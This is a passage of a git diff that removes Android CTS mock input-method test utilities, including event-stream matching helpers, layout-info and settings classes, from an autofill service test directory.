-     *         returned
-     */
-    @NonNull
-    public Optional<ImeEvent> findFirst(Predicate<ImeEvent> condition) {
-        final ImeEventArray latest = mEventSupplier.get();
-        int index = mCurrentPosition;
-        while (true) {
-            if (index >= latest.mLength) {
-                return Optional.empty();
-            }
-            if (condition.test(latest.mArray[index])) {
-                return Optional.of(latest.mArray[index]);
-            }
-            ++index;
-        }
-    }
-
-    /**
-     * Find the first event that matches the given condition from the current position.
-     *
-     * <p>If there is such an event, this method returns such an event and set the current event
-     * position to that event.</p>
-     *
-     * <p>If there is such an event, this method returns {@link Optional#empty()} without moving the
-     * current event position.</p>
-     *
-     * @param condition the event condition to be matched
-     * @return {@link Optional#empty()} if there is no such an event. Otherwise the matched event is
-     *         returned
-     */
-    @NonNull
-    public Optional<ImeEvent> seekToFirst(Predicate<ImeEvent> condition) {
-        final ImeEventArray latest = mEventSupplier.get();
-        while (true) {
-            if (mCurrentPosition >= latest.mLength) {
-                return Optional.empty();
-            }
-            if (condition.test(latest.mArray[mCurrentPosition])) {
-                return Optional.of(latest.mArray[mCurrentPosition]);
-            }
-            ++mCurrentPosition;
-        }
-    }
-
-    private static void dumpEvent(@NonNull StringBuilder sb, @NonNull ImeEvent event,
-            boolean fused) {
-        final String indentation = getWhiteSpaces(event.getNestLevel() * 2 + 2);
-        final long wallTime =
-                fused ? event.getEnterWallTime() :
-                        event.isEnterEvent() ? event.getEnterWallTime() : event.getExitWallTime();
-        sb.append(sSimpleDateTimeFormatter.format(Instant.ofEpochMilli(wallTime)))
-                .append("  ")
-                .append(String.format("%5d", event.getThreadId()))
-                .append(indentation);
-        sb.append(fused ? "" : event.isEnterEvent() ? "[" : "]");
-        if (fused || event.isEnterEvent()) {
-            sb.append(event.getEventName())
-                    .append(':')
-                    .append(" args=");
-            dumpBundle(sb, event.getArguments());
-        }
-        sb.append('\n');
-    }
-
-    /**
-     * @return Debug info as a {@link String}.
-     */
-    public String dump() {
-        final ImeEventArray latest = mEventSupplier.get();
-        final StringBuilder sb = new StringBuilder();
-        sb.append("ImeEventStream:\n");
-        sb.append("  latest: array[").append(latest.mArray.length).append("] + {\n");
-        for (int i = 0; i < latest.mLength; ++i) {
-            // To compress the dump message, if the current event is an enter event and the next
-            // one is a corresponding exit event, we unify the output.
-            final boolean fused = areEnterExitPairedMessages(latest, i);
-            if (i == mCurrentPosition || (fused && ((i + 1) == mCurrentPosition))) {
-                sb.append("  ======== CurrentPosition ========  \n");
-            }
-            dumpEvent(sb, latest.mArray[fused ? ++i : i], fused);
-        }
-        if (mCurrentPosition >= latest.mLength) {
-            sb.append("  ======== CurrentPosition ========  \n");
-        }
-        sb.append("}\n");
-        return sb.toString();
-    }
-
-    /**
-     * @param array event array to be checked
-     * @param i index to be checked
-     * @return {@code true} if {@code array.mArray[i]} and {@code array.mArray[i + 1]} are two
-     *         paired events.
-     */
-    private static boolean areEnterExitPairedMessages(@NonNull ImeEventArray array,
-            @IntRange(from = 0) int i) {
-        return array.mArray[i] != null
-                && array.mArray[i].isEnterEvent()
-                && (i + 1) < array.mLength
-                && array.mArray[i + 1] != null
-                && array.mArray[i].getEventName().equals(array.mArray[i + 1].getEventName())
-                && array.mArray[i].getEnterTimestamp() == array.mArray[i + 1].getEnterTimestamp();
-    }
-
-    /**
-     * @param length length of the requested white space string
-     * @return {@link String} object whose length is {@code length}
-     */
-    private static String getWhiteSpaces(@IntRange(from = 0) final int length) {
-        if (length < LONG_LONG_SPACES.length()) {
-            return LONG_LONG_SPACES.substring(0, length);
-        }
-        final char[] indentationChars = new char[length];
-        Arrays.fill(indentationChars, ' ');
-        return new String(indentationChars);
-    }
-
-    private static void dumpBundle(@NonNull StringBuilder sb, @NonNull Bundle bundle) {
-        sb.append('{');
-        boolean first = true;
-        for (String key : bundle.keySet()) {
-            if (first) {
-                first = false;
-            } else {
-                sb.append(' ');
-            }
-            final Object object = bundle.get(key);
-            sb.append(key);
-            sb.append('=');
-            if (object instanceof EditorInfo) {
-                final EditorInfo info = (EditorInfo) object;
-                sb.append("EditorInfo{packageName=").append(info.packageName);
-                sb.append(" fieldId=").append(info.fieldId);
-                sb.append(" hintText=").append(info.hintText);
-                sb.append(" privateImeOptions=").append(info.privateImeOptions);
-                sb.append("}");
-            } else {
-                sb.append(object);
-            }
-        }
-        sb.append('}');
-    }
-
-    static class ImeEventArray {
-        @NonNull
-        public final ImeEvent[] mArray;
-        public final int mLength;
-        ImeEventArray(ImeEvent[] array, int length) {
-            mArray = array;
-            mLength = length;
-        }
-    }
-}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/ImeEventStreamTestUtils.java b/tests/autofillservice/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
deleted file mode 100644
index 8497268..0000000
--- a/tests/autofillservice/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
+++ /dev/null
@@ -1,329 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.mockime;
-
-import android.os.SystemClock;
-import androidx.annotation.NonNull;
-import android.text.TextUtils;
-import android.view.inputmethod.EditorInfo;
-import android.view.inputmethod.InputBinding;
-
-import java.util.Optional;
-import java.util.concurrent.TimeoutException;
-import java.util.function.Predicate;
-
-/**
- * A set of utility methods to avoid boilerplate code when writing end-to-end tests.
- */
-public final class ImeEventStreamTestUtils {
-    private static final long TIME_SLICE = 50;  // msec
-
-    /**
-     * Cannot be instantiated
-     */
-    private ImeEventStreamTestUtils() {}
-
-    /**
-     * Behavior mode of {@link #expectEvent(ImeEventStream, Predicate, EventFilterMode, long)}
-     */
-    public enum EventFilterMode {
-        /**
-         * All {@link ImeEvent} events should be checked
-         */
-        CHECK_ALL,
-        /**
-         * Only events that return {@code true} from {@link ImeEvent#isEnterEvent()} should be
-         * checked
-         */
-        CHECK_ENTER_EVENT_ONLY,
-        /**
-         * Only events that return {@code false} from {@link ImeEvent#isEnterEvent()} should be
-         * checked
-         */
-        CHECK_EXIT_EVENT_ONLY,
-    }
-
-    /**
-     * Wait until an event that matches the given {@code condition} is found in the stream.
-     *
-     * <p>When this method succeeds to find an event that matches the given {@code condition}, the
-     * stream position will be set to the next to the found object then the event found is returned.
-     * </p>
-     *
-     * <p>For convenience, this method automatically filter out exit events (events that return
-     * {@code false} from {@link ImeEvent#isEnterEvent()}.</p>
-     *
-     * <p>TODO: Consider renaming this to {@code expectEventEnter} or something like that.</p>
-     *
-     * @param stream {@link ImeEventStream} to be checked.
-     * @param condition the event condition to be matched
-     * @param timeout timeout in millisecond
-     * @return {@link ImeEvent} found
-     * @throws TimeoutException when the no event is matched to the given condition within
-     *                          {@code timeout}
-     */
-    @NonNull
-    public static ImeEvent expectEvent(@NonNull ImeEventStream stream,
-            @NonNull Predicate<ImeEvent> condition, long timeout) throws TimeoutException {
-        return expectEvent(stream, condition, EventFilterMode.CHECK_ENTER_EVENT_ONLY, timeout);
-    }
-
-    /**
-     * Wait until an event that matches the given {@code condition} is found in the stream.
-     *
-     * <p>When this method succeeds to find an event that matches the given {@code condition}, the
-     * stream position will be set to the next to the found object then the event found is returned.
-     * </p>
-     *
-     * @param stream {@link ImeEventStream} to be checked.
-     * @param condition the event condition to be matched
-     * @param filterMode controls how events are filtered out
-     * @param timeout timeout in millisecond
-     * @return {@link ImeEvent} found
-     * @throws TimeoutException when the no event is matched to the given condition within
-     *                          {@code timeout}
-     */
-    @NonNull
-    public static ImeEvent expectEvent(@NonNull ImeEventStream stream,
-            @NonNull Predicate<ImeEvent> condition, EventFilterMode filterMode, long timeout)
-            throws TimeoutException {
-        try {
-            Optional<ImeEvent> result;
-            while (true) {
-                if (timeout < 0) {
-                    throw new TimeoutException(
-                            "event not found within the timeout: " + stream.dump());
-                }
-                final Predicate<ImeEvent> combinedCondition;
-                switch (filterMode) {
-                    case CHECK_ALL:
-                        combinedCondition = condition;
-                        break;
-                    case CHECK_ENTER_EVENT_ONLY:
-                        combinedCondition = event -> event.isEnterEvent() && condition.test(event);
-                        break;
-                    case CHECK_EXIT_EVENT_ONLY:
-                        combinedCondition = event -> !event.isEnterEvent() && condition.test(event);
-                        break;
-                    default:
-                        throw new IllegalArgumentException("Unknown filterMode " + filterMode);
-                }
-                result = stream.seekToFirst(combinedCondition);
-                if (result.isPresent()) {
-                    break;
-                }
-                Thread.sleep(TIME_SLICE);
-                timeout -= TIME_SLICE;
-            }
-            final ImeEvent event = result.get();
-            if (event == null) {
-                throw new NullPointerException("found event is null: " + stream.dump());
-            }
-            stream.skip(1);
-            return event;
-        } catch (InterruptedException e) {
-            throw new RuntimeException("expectEvent failed: " + stream.dump(), e);
-        }
-    }
-
-    /**
-     * Checks if {@param eventName} has occurred on the EditText(or TextView) of the current
-     * activity.
-     * @param eventName event name to check
-     * @param marker Test marker set to {@link android.widget.EditText#setPrivateImeOptions(String)}
-     * @return true if event occurred.
-     */
-    public static Predicate<ImeEvent> editorMatcher(
-        @NonNull String eventName, @NonNull String marker) {
-        return event -> {
-            if (!TextUtils.equals(eventName, event.getEventName())) {
-                return false;
-            }
-            final EditorInfo editorInfo = event.getArguments().getParcelable("editorInfo");
-            return TextUtils.equals(marker, editorInfo.privateImeOptions);
-        };
-    }
-
-    /**
-    * Checks if {@code eventName} has occurred on the EditText(or TextView) of the current
-    * activity.
-    * @param eventName event name to check
-    * @param fieldId typically same as {@link android.view.View#getId()}.
-    * @return true if event occurred.
-    */
-    public static Predicate<ImeEvent> editorMatcher(@NonNull String eventName, int fieldId) {
-        return event -> {
-            if (!TextUtils.equals(eventName, event.getEventName())) {
-                return false;
-            }
-            final EditorInfo editorInfo = event.getArguments().getParcelable("editorInfo");
-            return fieldId == editorInfo.fieldId;
-        };
-    }
-
-    /**
-     * Wait until an event that matches the given command is consumed by the {@link MockIme}.
-     *
-     * <p>For convenience, this method automatically filter out enter events (events that return
-     * {@code true} from {@link ImeEvent#isEnterEvent()}.</p>
-     *
-     * <p>TODO: Consider renaming this to {@code expectCommandConsumed} or something like that.</p>
-     *
-     * @param stream {@link ImeEventStream} to be checked.
-     * @param command {@link ImeCommand} to be waited for.
-     * @param timeout timeout in millisecond
-     * @return {@link ImeEvent} found
-     * @throws TimeoutException when the no event is matched to the given condition within
-     *                          {@code timeout}
-     */
-    @NonNull
-    public static ImeEvent expectCommand(@NonNull ImeEventStream stream,
-            @NonNull ImeCommand command, long timeout) throws TimeoutException {
-        final Predicate<ImeEvent> predicate = event -> {
-            if (!TextUtils.equals("onHandleCommand", event.getEventName())) {
-                return false;
-            }
-            final ImeCommand eventCommand =
-                    ImeCommand.fromBundle(event.getArguments().getBundle("command"));
-            return eventCommand.getId() == command.getId();
-        };
-        return expectEvent(stream, predicate, EventFilterMode.CHECK_EXIT_EVENT_ONLY, timeout);
-    }
-
-    /**
-     * Assert that an event that matches the given {@code condition} will no be found in the stream
-     * within the given {@code timeout}.
-     *
-     * <p>When this method succeeds, the stream position will not change.</p>
-     *
-     * <p>For convenience, this method automatically filter out exit events (events that return
-     * {@code false} from {@link ImeEvent#isEnterEvent()}.</p>
-     *
-     * <p>TODO: Consider renaming this to {@code notExpectEventEnter} or something like that.</p>
-     *
-     * @param stream {@link ImeEventStream} to be checked.
-     * @param condition the event condition to be matched
-     * @param timeout timeout in millisecond
-     * @throws AssertionError if such an event is found within the given {@code timeout}
-     */
-    public static void notExpectEvent(@NonNull ImeEventStream stream,
-            @NonNull Predicate<ImeEvent> condition, long timeout) {
-        notExpectEvent(stream, condition, EventFilterMode.CHECK_ENTER_EVENT_ONLY, timeout);
-    }
-
-    /**
-     * Assert that an event that matches the given {@code condition} will no be found in the stream
-     * within the given {@code timeout}.
-     *
-     * <p>When this method succeeds, the stream position will not change.</p>
-     *
-     * @param stream {@link ImeEventStream} to be checked.
-     * @param condition the event condition to be matched
-     * @param filterMode controls how events are filtered out
-     * @param timeout timeout in millisecond
-     * @throws AssertionError if such an event is found within the given {@code timeout}
-     */
-    public static void notExpectEvent(@NonNull ImeEventStream stream,
-            @NonNull Predicate<ImeEvent> condition, EventFilterMode filterMode, long timeout) {
-        final Predicate<ImeEvent> combinedCondition;
-        switch (filterMode) {
-            case CHECK_ALL:
-                combinedCondition = condition;
-                break;
-            case CHECK_ENTER_EVENT_ONLY:
-                combinedCondition = event -> event.isEnterEvent() && condition.test(event);
-                break;
-            case CHECK_EXIT_EVENT_ONLY:
-                combinedCondition = event -> !event.isEnterEvent() && condition.test(event);
-                break;
-            default:
-                throw new IllegalArgumentException("Unknown filterMode " + filterMode);
-        }
-        try {
-            while (true) {
-                if (timeout < 0) {
-                    return;
-                }
-                if (stream.findFirst(combinedCondition).isPresent()) {
-                    throw new AssertionError("notExpectEvent failed: " + stream.dump());
-                }
-                Thread.sleep(TIME_SLICE);
-                timeout -= TIME_SLICE;
-            }
-        } catch (InterruptedException e) {
-            throw new RuntimeException("notExpectEvent failed: " + stream.dump(), e);
-        }
-    }
-
-    /**
-     * A specialized version of {@link #expectEvent(ImeEventStream, Predicate, long)} to wait for
-     * {@link android.view.inputmethod.InputMethod#bindInput(InputBinding)}.
-     *
-     * @param stream {@link ImeEventStream} to be checked.
-     * @param targetProcessPid PID to be matched to {@link InputBinding#getPid()}
-     * @param timeout timeout in millisecond
-     * @throws TimeoutException when "bindInput" is not called within {@code timeout} msec
-     */
-    public static void expectBindInput(@NonNull ImeEventStream stream, int targetProcessPid,
-            long timeout) throws TimeoutException {
-        expectEvent(stream, event -> {
-            if (!TextUtils.equals("bindInput", event.getEventName())) {
-                return false;
-            }
-            final InputBinding binding = event.getArguments().getParcelable("binding");
-            return binding.getPid() == targetProcessPid;
-        }, EventFilterMode.CHECK_EXIT_EVENT_ONLY,  timeout);
-    }
-
-    /**
-     * Waits until {@code MockIme} does not send {@code "onInputViewLayoutChanged"} event
-     * for a certain period of time ({@code stableThresholdTime} msec).
-     *
-     * <p>When this returns non-null {@link ImeLayoutInfo}, the stream position will be set to
-     * the next event of the returned layout event.  Otherwise this method does not change stream
-     * position.</p>
-     * @param stream {@link ImeEventStream} to be checked.
-     * @param stableThresholdTime threshold time to consider that {@link MockIme}'s layout is
-     *                            stable, in millisecond
-     * @return last {@link ImeLayoutInfo} if {@link MockIme} sent one or more
-     *         {@code "onInputViewLayoutChanged"} event.  Otherwise {@code null}
-     */
-    public static ImeLayoutInfo waitForInputViewLayoutStable(@NonNull ImeEventStream stream,
-            long stableThresholdTime) {
-        ImeLayoutInfo lastLayout = null;
-        final Predicate<ImeEvent> layoutFilter = event ->
-                !event.isEnterEvent() && event.getEventName().equals("onInputViewLayoutChanged");
-        try {
-            long deadline = SystemClock.elapsedRealtime() + stableThresholdTime;
-            while (true) {
-                if (deadline < SystemClock.elapsedRealtime()) {
-                    return lastLayout;
-                }
-                final Optional<ImeEvent> event = stream.seekToFirst(layoutFilter);
-                if (event.isPresent()) {
-                    // Remember the last event and extend the deadline again.
-                    lastLayout = ImeLayoutInfo.readFromBundle(event.get().getArguments());
-                    deadline = SystemClock.elapsedRealtime() + stableThresholdTime;
-                    stream.skip(1);
-                }
-                Thread.sleep(TIME_SLICE);
-            }
-        } catch (InterruptedException e) {
-            throw new RuntimeException("notExpectEvent failed: " + stream.dump(), e);
-        }
-    }
-}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/ImeLayoutInfo.java b/tests/autofillservice/src/com/android/cts/mockime/ImeLayoutInfo.java
deleted file mode 100644
index 77718ea..0000000
--- a/tests/autofillservice/src/com/android/cts/mockime/ImeLayoutInfo.java
+++ /dev/null
@@ -1,197 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.mockime;
-
-import android.graphics.Point;
-import android.graphics.Rect;
-import android.os.Bundle;
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-import android.view.Display;
-import android.view.View;
-import android.view.WindowInsets;
-
-/**
- * A collection of layout-related information when
- * {@link View.OnLayoutChangeListener#onLayoutChange(View, int, int, int, int, int, int, int, int)}
- * is called back for the input view (the view returned from {@link MockIme#onCreateInputView()}).
- */
-public final class ImeLayoutInfo {
-
-    private static final String NEW_LAYOUT_KEY = "newLayout";
-    private static final String OLD_LAYOUT_KEY = "oldLayout";
-    private static final String VIEW_ORIGIN_ON_SCREEN_KEY = "viewOriginOnScreen";
-    private static final String DISPLAY_SIZE_KEY = "displaySize";
-    private static final String SYSTEM_WINDOW_INSET_KEY = "systemWindowInset";
-    private static final String STABLE_INSET_KEY = "stableInset";
-
-    @NonNull
-    private final Rect mNewLayout;
-    @NonNull
-    private final Rect mOldLayout;
-    @Nullable
-    private Point mViewOriginOnScreen;
-    @Nullable
-    private Point mDisplaySize;
-    @Nullable
-    private Rect mSystemWindowInset;
-    @Nullable
-    private Rect mStableInset;
-
-    /**
-     * Returns the bounding box of the {@link View} passed to
-     * {@link android.inputmethodservice.InputMethodService#onCreateInputView()} in screen
-     * coordinates.
-     *
-     * <p>Currently this method assumes that no {@link View} in the hierarchy uses
-     * transformations such as {@link View#setRotation(float)}.</p>
-     *
-     * @return Region in screen coordinates.
-     */
-    @Nullable
-    public Rect getInputViewBoundsInScreen() {
-        return new Rect(
-                mViewOriginOnScreen.x, mViewOriginOnScreen.y,
-                mViewOriginOnScreen.x + mNewLayout.width(),
-                mViewOriginOnScreen.y + mNewLayout.height());
-    }
-
-    /**
-     * Returns the screen area in screen coordinates that does not overlap with the system
-     * window inset, which represents the area of a full-screen window that is partially or
-     * fully obscured by the status bar, navigation bar, IME or other system windows.
-     *
-     * <p>May return {@code null} when this information is not yet ready.</p>
-     *
-     * @return Region in screen coordinates. {@code null} when it is not available
-     *
-     * @see WindowInsets#hasSystemWindowInsets()
-     * @see WindowInsets#getSystemWindowInsetBottom()
-     * @see WindowInsets#getSystemWindowInsetLeft()
-     * @see WindowInsets#getSystemWindowInsetRight()
-     * @see WindowInsets#getSystemWindowInsetTop()
-     */
-    @Nullable
-    public Rect getScreenRectWithoutSystemWindowInset() {
-        if (mDisplaySize == null) {
-            return null;
-        }
-        if (mSystemWindowInset == null) {
-            return new Rect(0, 0, mDisplaySize.x, mDisplaySize.y);
-        }
-        return new Rect(mSystemWindowInset.left, mSystemWindowInset.top,
-                mDisplaySize.x - mSystemWindowInset.right,
-                mDisplaySize.y - mSystemWindowInset.bottom);
-    }
-
-    /**
-     * Returns the screen area in screen coordinates that does not overlap with the stable
-     * inset, which represents the area of a full-screen window that <b>may</b> be partially or
-     * fully obscured by the system UI elements.
-     *
-     * <p>May return {@code null} when this information is not yet ready.</p>
-     *
-     * @return Region in screen coordinates. {@code null} when it is not available
-     *
-     * @see WindowInsets#hasStableInsets()
-     * @see WindowInsets#getStableInsetBottom()
-     * @see WindowInsets#getStableInsetLeft()
-     * @see WindowInsets#getStableInsetRight()
-     * @see WindowInsets#getStableInsetTop()
-     */
-    @Nullable
-    public Rect getScreenRectWithoutStableInset() {
-        if (mDisplaySize == null) {
-            return null;
-        }
-        if (mStableInset == null) {
-            return new Rect(0, 0, mDisplaySize.x, mDisplaySize.y);
-        }
-        return new Rect(mStableInset.left, mStableInset.top,
-                mDisplaySize.x - mStableInset.right,
-                mDisplaySize.y - mStableInset.bottom);
-    }
-
-    ImeLayoutInfo(@NonNull Rect newLayout, @NonNull Rect oldLayout,
-            @NonNull Point viewOriginOnScreen, @Nullable Point displaySize,
-            @Nullable Rect systemWindowInset, @Nullable Rect stableInset) {
-        mNewLayout = new Rect(newLayout);
-        mOldLayout = new Rect(oldLayout);
-        mViewOriginOnScreen = new Point(viewOriginOnScreen);
-        mDisplaySize = new Point(displaySize);
-        mSystemWindowInset = systemWindowInset;
-        mStableInset = stableInset;
-    }
-
-    void writeToBundle(@NonNull Bundle bundle) {
-        bundle.putParcelable(NEW_LAYOUT_KEY, mNewLayout);
-        bundle.putParcelable(OLD_LAYOUT_KEY, mOldLayout);
-        bundle.putParcelable(VIEW_ORIGIN_ON_SCREEN_KEY, mViewOriginOnScreen);
-        bundle.putParcelable(DISPLAY_SIZE_KEY, mDisplaySize);
-        bundle.putParcelable(SYSTEM_WINDOW_INSET_KEY, mSystemWindowInset);
-        bundle.putParcelable(STABLE_INSET_KEY, mStableInset);
-    }
-
-    static ImeLayoutInfo readFromBundle(@NonNull Bundle bundle) {
-        final Rect newLayout = bundle.getParcelable(NEW_LAYOUT_KEY);
-        final Rect oldLayout = bundle.getParcelable(OLD_LAYOUT_KEY);
-        final Point viewOrigin = bundle.getParcelable(VIEW_ORIGIN_ON_SCREEN_KEY);
-        final Point displaySize = bundle.getParcelable(DISPLAY_SIZE_KEY);
-        final Rect systemWindowInset = bundle.getParcelable(SYSTEM_WINDOW_INSET_KEY);
-        final Rect stableInset = bundle.getParcelable(STABLE_INSET_KEY);
-
-        return new ImeLayoutInfo(newLayout, oldLayout, viewOrigin, displaySize, systemWindowInset,
-                stableInset);
-    }
-
-    static ImeLayoutInfo fromLayoutListenerCallback(View v, int left, int top, int right,
-            int bottom, int oldLeft, int oldTop, int oldRight, int oldBottom) {
-        final Rect newLayout = new Rect(left, top, right, bottom);
-        final Rect oldLayout = new Rect(oldLeft, oldTop, oldRight, oldBottom);
-        final int[] viewOriginArray = new int[2];
-        v.getLocationOnScreen(viewOriginArray);
-        final Point viewOrigin = new Point(viewOriginArray[0], viewOriginArray[1]);
-        final Display display = v.getDisplay();
-        final Point displaySize;
-        if (display != null) {
-            displaySize = new Point();
-            display.getRealSize(displaySize);
-        } else {
-            displaySize = null;
-        }
-        final WindowInsets windowInsets = v.getRootWindowInsets();
-        final Rect systemWindowInset;
-        if (windowInsets != null && windowInsets.hasSystemWindowInsets()) {
-            systemWindowInset = new Rect(
-                    windowInsets.getSystemWindowInsetLeft(), windowInsets.getSystemWindowInsetTop(),
-                    windowInsets.getSystemWindowInsetRight(),
-                    windowInsets.getSystemWindowInsetBottom());
-        } else {
-            systemWindowInset = null;
-        }
-        final Rect stableInset;
-        if (windowInsets != null && windowInsets.hasStableInsets()) {
-            stableInset = new Rect(
-                    windowInsets.getStableInsetLeft(), windowInsets.getStableInsetTop(),
-                    windowInsets.getStableInsetRight(), windowInsets.getStableInsetBottom());
-        } else {
-            stableInset = null;
-        }
-        return new ImeLayoutInfo(newLayout, oldLayout, viewOrigin, displaySize, systemWindowInset,
-                stableInset);
-    }
-}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/ImeSettings.java b/tests/autofillservice/src/com/android/cts/mockime/ImeSettings.java
deleted file mode 100644
index 21c25be..0000000
--- a/tests/autofillservice/src/com/android/cts/mockime/ImeSettings.java
+++ /dev/null
@@ -1,217 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.mockime;
-
-import android.os.Bundle;
-import android.os.PersistableBundle;
-import androidx.annotation.ColorInt;
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-/**
- * An immutable data store to control the behavior of {@link MockIme}.
- */
-public class ImeSettings {
-
-    @NonNull
-    private final String mClientPackageName;
-
-    @NonNull
-    private final String mEventCallbackActionName;
-
-    private static final String EVENT_CALLBACK_INTENT_ACTION_KEY = "eventCallbackActionName";
-    private static final String DATA_KEY = "data";
-
-    private static final String BACKGROUND_COLOR_KEY = "BackgroundColor";
-    private static final String NAVIGATION_BAR_COLOR_KEY = "NavigationBarColor";
-    private static final String INPUT_VIEW_HEIGHT_WITHOUT_SYSTEM_WINDOW_INSET =
-            "InputViewHeightWithoutSystemWindowInset";
-    private static final String WINDOW_FLAGS = "WindowFlags";
-    private static final String WINDOW_FLAGS_MASK = "WindowFlagsMask";
-    private static final String FULLSCREEN_MODE_ALLOWED = "FullscreenModeAllowed";
-    private static final String INPUT_VIEW_SYSTEM_UI_VISIBILITY = "InputViewSystemUiVisibility";
-    private static final String HARD_KEYBOARD_CONFIGURATION_BEHAVIOR_ALLOWED =
-            "HardKeyboardConfigurationBehaviorAllowed";
-
-    @NonNull
-    private final PersistableBundle mBundle;
-
-    ImeSettings(@NonNull String clientPackageName, @NonNull Bundle bundle) {
-        mClientPackageName = clientPackageName;
-        mEventCallbackActionName = bundle.getString(EVENT_CALLBACK_INTENT_ACTION_KEY);
-        mBundle = bundle.getParcelable(DATA_KEY);
-    }
-
-    @Nullable
-    String getEventCallbackActionName() {
-        return mEventCallbackActionName;
-    }
-
-    @NonNull
-    String getClientPackageName() {
-        return mClientPackageName;
-    }
-
-    public boolean fullscreenModeAllowed(boolean defaultValue) {
-        return mBundle.getBoolean(FULLSCREEN_MODE_ALLOWED, defaultValue);
-    }
-
-    @ColorInt
-    public int getBackgroundColor(@ColorInt int defaultColor) {
-        return mBundle.getInt(BACKGROUND_COLOR_KEY, defaultColor);
-    }
-
-    public boolean hasNavigationBarColor() {
-        return mBundle.keySet().contains(NAVIGATION_BAR_COLOR_KEY);
-    }
-
-    @ColorInt
-    public int getNavigationBarColor() {
-        return mBundle.getInt(NAVIGATION_BAR_COLOR_KEY);
-    }
-
-    public int getInputViewHeightWithoutSystemWindowInset(int defaultHeight) {
-        return mBundle.getInt(INPUT_VIEW_HEIGHT_WITHOUT_SYSTEM_WINDOW_INSET, defaultHeight);
-    }
-
-    public int getWindowFlags(int defaultFlags) {
-        return mBundle.getInt(WINDOW_FLAGS, defaultFlags);
-    }
-
-    public int getWindowFlagsMask(int defaultFlags) {
-        return mBundle.getInt(WINDOW_FLAGS_MASK, defaultFlags);
-    }
-
-    public int getInputViewSystemUiVisibility(int defaultFlags) {
-        return mBundle.getInt(INPUT_VIEW_SYSTEM_UI_VISIBILITY, defaultFlags);
-    }
-
-    public boolean getHardKeyboardConfigurationBehaviorAllowed(boolean defaultValue) {
-        return mBundle.getBoolean(HARD_KEYBOARD_CONFIGURATION_BEHAVIOR_ALLOWED, defaultValue);
-    }
-
-    static Bundle serializeToBundle(@NonNull String eventCallbackActionName,
-            @Nullable Builder builder) {
-        final Bundle result = new Bundle();
-        result.putString(EVENT_CALLBACK_INTENT_ACTION_KEY, eventCallbackActionName);
-        result.putParcelable(DATA_KEY, builder != null ? builder.mBundle : PersistableBundle.EMPTY);
-        return result;
-    }
-
-    /**
-     * The builder class for {@link ImeSettings}.
-     */
-    public static final class Builder {
-        private final PersistableBundle mBundle = new PersistableBundle();
-
-        /**
-         * Controls whether fullscreen mode is allowed or not.
-         *
-         * <p>By default, fullscreen mode is not allowed in {@link MockIme}.</p>
-         *
-         * @param allowed {@code true} if fullscreen mode is allowed
-         * @see MockIme#onEvaluateFullscreenMode()
-         */
-        public Builder setFullscreenModeAllowed(boolean allowed) {
-            mBundle.putBoolean(FULLSCREEN_MODE_ALLOWED, allowed);
-            return this;
-        }
-
-        /**
-         * Sets the background color of the {@link MockIme}.
-         * @param color background color to be used
-         */
-        public Builder setBackgroundColor(@ColorInt int color) {
-            mBundle.putInt(BACKGROUND_COLOR_KEY, color);
-            return this;
-        }
-
-        /**
-         * Sets the color to be passed to {@link android.view.Window#setNavigationBarColor(int)}.
-         *
-         * @param color color to be passed to {@link android.view.Window#setNavigationBarColor(int)}
-         * @see android.view.View
-         */
-        public Builder setNavigationBarColor(@ColorInt int color) {
-            mBundle.putInt(NAVIGATION_BAR_COLOR_KEY, color);
-            return this;
-        }
-
-        /**
-         * Sets the input view height measured from the bottom system window inset.
-         * @param height height of the soft input view. This does not include the system window
-         *               inset such as navigation bar
-         */
-        public Builder setInputViewHeightWithoutSystemWindowInset(int height) {
-            mBundle.putInt(INPUT_VIEW_HEIGHT_WITHOUT_SYSTEM_WINDOW_INSET, height);
-            return this;
-        }
-
-        /**
-         * Sets window flags to be specified to {@link android.view.Window#setFlags(int, int)} of
-         * the main {@link MockIme} window.
-         *
-         * <p>When {@link android.view.WindowManager.LayoutParams#FLAG_LAYOUT_IN_OVERSCAN} is set,
-         * {@link MockIme} tries to render the navigation bar by itself.</p>
-         *
-         * @param flags flags to be specified
-         * @param flagsMask mask bits that specify what bits need to be cleared before setting
-         *                  {@code flags}
-         * @see android.view.WindowManager
-         */
-        public Builder setWindowFlags(int flags, int flagsMask) {
-            mBundle.putInt(WINDOW_FLAGS, flags);
-            mBundle.putInt(WINDOW_FLAGS_MASK, flagsMask);
-            return this;
-        }
-
-        /**
-         * Sets flags to be specified to {@link android.view.View#setSystemUiVisibility(int)} of
-         * the main soft input view (the returned view from {@link MockIme#onCreateInputView()}).
-         *
-         * @param visibilityFlags flags to be specified
-         * @see android.view.View
-         */
-        public Builder setInputViewSystemUiVisibility(int visibilityFlags) {
